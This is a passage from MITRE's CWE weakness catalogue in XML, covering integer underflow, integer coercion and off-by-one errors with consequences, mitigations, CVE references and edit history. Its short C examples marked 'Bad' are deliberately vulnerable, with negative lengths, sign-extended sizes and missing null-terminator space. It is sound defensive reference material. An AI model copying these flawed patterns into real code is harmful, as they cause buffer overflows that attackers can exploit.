               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2009-01-12">Integer Overflow (Wrap or Wraparound)</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="191" Name="Integer Underflow (Wrap or Wraparound)" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.</Description>
         <Extended_Description>This can happen in signed and unsigned cases.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Integer underflow</Term>
               <Description>
                  <xhtml:p>"Integer underflow" is sometimes used to identify signedness errors in which an originally positive number becomes negative as a result of subtraction. However, there are cases of bad subtraction in which unsigned integers are involved, so it's not always a signedness issue.</xhtml:p>
                  <xhtml:p>"Integer underflow" is occasionally used to describe array index errors in which the index is negative.</xhtml:p>
               </Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Impact>DoS: Instability</Impact>
               <Note>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Note>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example subtracts from a 32 bit signed integer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#include &lt;stdio.h&gt;<xhtml:br/>#include &lt;stdbool.h&gt;<xhtml:br/>main (void)<xhtml:br/>{<xhtml:div style="margin-left:1em;">int i;<xhtml:br/>i = -2147483648;<xhtml:br/>i = i - 1;<xhtml:br/>return 0;</xhtml:div>}<xhtml:br/>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>The example has an integer underflow. The value of i is already at the lowest negative value possible, so after subtracting 1, the new value of i is 2147483647.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-137">
               <Intro_Text>This code performs a stack allocation based on a length calculation.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
		    int a = 5, b = 6;<xhtml:br/>
		    size_t len = a - b;<xhtml:br/>
		    char buf[len];    // Just blows up the stack
		  </xhtml:div>
		  }
               </Example_Code>
               <Body_Text>Since a and b are declared as signed ints, the "a - b" subtraction gives a negative result (-1). However, since len is declared to be unsigned, len is cast to an extremely large positive number (on 32-bit systems - 4294967295). As a result, the buffer buf[len] declaration uses an extremely large size to allocate on the stack, very likely more than the entire computer's memory space.</Body_Text>
	       <Body_Text>Miscalculations usually will not be so obvious. The calculation will either be complicated or the result of an attacker's input to attain the negative value.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-0816</Reference>
               <Description>Integer underflow in firewall via malformed packet.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0816</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1002</Reference>
               <Description>Integer underflow by packet with invalid length.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1002</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0199</Reference>
               <Description>Long input causes incorrect length calculation.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0199</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1891</Reference>
               <Description>Malformed icon causes integer underflow in loop counter variable.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1891</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Integer underflow (wrap or wraparound)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT30-C</Entry_ID>
               <Entry_Name>Ensure that unsigned integer operations do not wrap</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT32-C</Entry_ID>
               <Entry_Name>Ensure that operations on signed integers do not result in overflow</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 7: Integer Overflows.&#34; Page 119"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Demonstrative_Example</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="192" Name="Integer Coercion Error" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>Integer coercion refers to a set of flaws pertaining to the type casting, extension, or truncation of primitive data types.</Description>
         <Extended_Description>Several flaws fall under the category of integer coercion errors. For the most part, these errors in and of themselves result only in availability and data integrity issues. However, in some circumstances, they may result in other, more complicated security related flaws, such as buffer overflow conditions.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="681" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Integer coercion often leads to undefined states of execution resulting in infinite loops or crashes.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>In some cases, integer coercion errors can lead to exploitable buffer overflow conditions, resulting in the execution of arbitrary code.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Integer coercion errors result in an incorrect value being stored for the variable in question.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>A language which throws exceptions on ambiguous data casts might be chosen.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Design objects and program flow such that multiple or complex casts are unnecessary</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that any data type casting that you must used is entirely understood in order to reduce the plausibility of error in use.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-21">
               <Intro_Text>The following code is intended to read an incoming packet from a socket and extract one or more headers.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>DataPacket *packet;<xhtml:br/>int numHeaders;<xhtml:br/>PacketHeader *headers;<xhtml:br/>
                     <xhtml:br/>sock=AcceptSocketConnection();<xhtml:br/>ReadPacket(packet, sock);<xhtml:br/>numHeaders =packet-&gt;headers;<xhtml:br/>
                     <xhtml:br/>if (numHeaders &gt; 100) {<xhtml:div style="margin-left:1em;">ExitError("too many headers!");</xhtml:div>}<xhtml:br/>headers = malloc(numHeaders * sizeof(PacketHeader);<xhtml:br/>ParsePacketHeaders(packet, headers);</xhtml:div>
               </Example_Code>
               <Body_Text>The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-23">
               <Intro_Text>The following code reads a maximum size and performs validation on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int GetUntrustedInt () {<xhtml:div style="margin-left:1em;">return(0x0000FFFF);</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>void main (int argc, char **argv) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char path[256];<xhtml:br/>char *input;<xhtml:br/>int i;<xhtml:br/>short s;<xhtml:br/>unsigned int sz;<xhtml:br/>
                           <xhtml:br/>i = GetUntrustedInt();<xhtml:br/>s = i;<xhtml:br/>/* s is -1 so it passes the safety check - CWE-697 */<xhtml:br/>if (s &gt; 256) {<xhtml:div style="margin-left:1em;">DiePainfully("go away!\n");</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>/* s is sign-extended and saved in sz */<xhtml:br/>sz = s;<xhtml:br/>
                           <xhtml:br/>/* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */<xhtml:br/>printf("i=%d, s=%d, sz=%u\n", i, s, sz);<xhtml:br/>
                           <xhtml:br/>input = GetUserInput("Enter pathname:");<xhtml:br/>
                           <xhtml:br/>/* strncpy interprets s as unsigned int, so it's treated as MAX_INT<xhtml:br/>(CWE-195), enabling buffer overflow (CWE-119) */<xhtml:br/>strncpy(path, input, s);<xhtml:br/>path[255] = '\0'; /* don't want CWE-170 */<xhtml:br/>printf("Path is: %s\n", path);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Integer coercion error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT02-C</Entry_ID>
               <Entry_Name>Understand integer conversion rules</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT05-C</Entry_ID>
               <Entry_Name>Do not use input functions to convert character data if they cannot handle all possible inputs</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT31-C</Entry_ID>
               <Entry_Name>Ensure that integer conversions do not result in lost or misinterpreted data</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 7: Integer Overflows.&#34; Page 119"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Sign Extension&#34;, Page 248"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Notes>
            <Note Type="Maintenance">Within C, it might be that "coercion" is semantically different than "casting", possibly depending on whether the programmer directly specifies the conversion, or if the compiler does it implicitly. This has implications for the presentation of this entry and others, such as CWE-681, and whether there is enough of a difference for these entries to be split.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Maintenance_Notes, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Maintenance_Notes, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="193" Name="Off-by-one Error" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="617" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="170" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="119" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>off-by-five</Term>
               <Description>An "off-by-five" error was reported for sudo in 2002 (CVE-2002-0184), but that is more like a "length calculation" error.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Impact>DoS: Instability</Impact>
               <Note>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Note>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When copying character arrays or using character manipulation methods, the correct size parameter must be used to account for the null terminator that needs to be added at the end of the array. Some examples of functions susceptible to this weakness in C include strcpy(), strncpy(), strcat(), strncat(), printf(), sprintf(), scanf() and sscanf().</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-20">
               <Intro_Text>The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int i;<xhtml:br/>unsigned int numWidgets;<xhtml:br/>Widget **WidgetList;<xhtml:br/>
                     <xhtml:br/>numWidgets = GetUntrustedSizeValue();<xhtml:br/>if ((numWidgets == 0) || (numWidgets &gt; MAX_NUM_WIDGETS)) {<xhtml:div style="margin-left:1em;">ExitError("Incorrect number of widgets requested!");</xhtml:div>}<xhtml:br/>WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));<xhtml:br/>printf("WidgetList ptr=%p\n", WidgetList);<xhtml:br/>for(i=0; i&lt;numWidgets; i++) {<xhtml:div style="margin-left:1em;">WidgetList[i] = InitializeWidget();</xhtml:div>}<xhtml:br/>WidgetList[numWidgets] = NULL;<xhtml:br/>showWidgets(WidgetList);</xhtml:div>
               </Example_Code>
               <Body_Text>However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.</Body_Text>
            </Demonstrative_Example>
	    <Demonstrative_Example>
	      <Intro_Text>In this example, the code does not account for the terminating null character, and it writes one byte beyond the end of the buffer.</Intro_Text>
	      <Body_Text>The first call to strncat() appends up to 20 characters plus a terminating null character to fullname[]. There is plenty of allocated space for this, and there is no weakness associated with this first call. However, the second call to strncat() potentially appends another 20 characters. The code does not account for the terminating null character that is automatically added by strncat(). This terminating null character would be written one byte beyond the end of the fullname[] buffer. Therefore an off-by-one error exists with the second strncat() call, as the third argument should be 19.</Body_Text>
	      <Example_Code Nature="Bad" Language="C">
		<xhtml:div>char firstname[20];<xhtml:br/>char lastname[20];<xhtml:br/>char fullname[40];<xhtml:br/><xhtml:br/>fullname[0] = '\0';<xhtml:br/><xhtml:br/>strncat(fullname, firstname, 20);<xhtml:br/>strncat(fullname, lastname, 20);</xhtml:div>
	      </Example_Code>
	      <Body_Text>When using a function like strncat() one must leave a free byte at the end of the buffer for a terminating null character, thus avoiding the off-by-one weakness. Additionally, the last argument to strncat() is the number of characters to append, which must be less than the remaining space in the buffer. Be careful not to just use the total size of the buffer.</Body_Text>
	      <Example_Code Nature="Good" Language="C">
		<xhtml:div>char firstname[20];<xhtml:br/>char lastname[20];<xhtml:br/>char fullname[40];<xhtml:br/><xhtml:br/>fullname[0] = '\0';<xhtml:br/><xhtml:br/>strncat(fullname, firstname, sizeof(fullname)-strlen(fullname)-1);<xhtml:br/>strncat(fullname, lastname, sizeof(fullname)-strlen(fullname)-1);</xhtml:div>
              </Example_Code>
	      </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The Off-by-one error can also be manifested when reading characters from a character array within a for loop that has an incorrect continuation condition.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define PATH_SIZE 60<xhtml:br/>
                     <xhtml:br/>char filename[PATH_SIZE];<xhtml:br/>
                     <xhtml:br/>for(i=0; i&lt;=PATH_SIZE; i++) {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>char c = getc();<xhtml:br/>if (c == 'EOF') {<xhtml:div style="margin-left:1em;">filename[i] = '\0';</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>filename[i] = getc();</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In this case, the correct continuation condition is shown below.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>for(i=0; i&lt;PATH_SIZE; i++) {<xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>As another example the Off-by-one error can occur when using the sprintf library function to copy a string variable to a formatted string variable and the original string variable comes from an untrusted source. As in the following example where a local function, setFilename is used to store the value of a filename to a database but first uses sprintf to format the filename. The setFilename function includes an input parameter with the name of the file that is used as the copy source in the sprintf function. The sprintf function will copy the file name to a char array of size 20 and specifies the format of the new variable as 16 characters followed by the file extension .dat.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int setFilename(char *filename) {<xhtml:div style="margin-left:1em;">char name[20];<xhtml:br/>sprintf(name, "%16s.dat", filename);<xhtml:br/>int success = saveFormattedFilenameToDB(name);<xhtml:br/>return success;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However this will cause an Off-by-one error if the original filename is exactly 16 characters or larger because the format of 16 characters with the file extension is exactly 20 characters and does not take into account the required null terminator that will be placed at the end of the string.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2003-0252</Reference>
               <Description>Off-by-one error allows remote attackers to cause a denial of service and possibly execute arbitrary code via requests that do not contain newlines.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0252</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1391</Reference>
               <Description>Off-by-one vulnerability in driver allows users to modify kernel memory.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1391</Link>
            </Observed_Example>
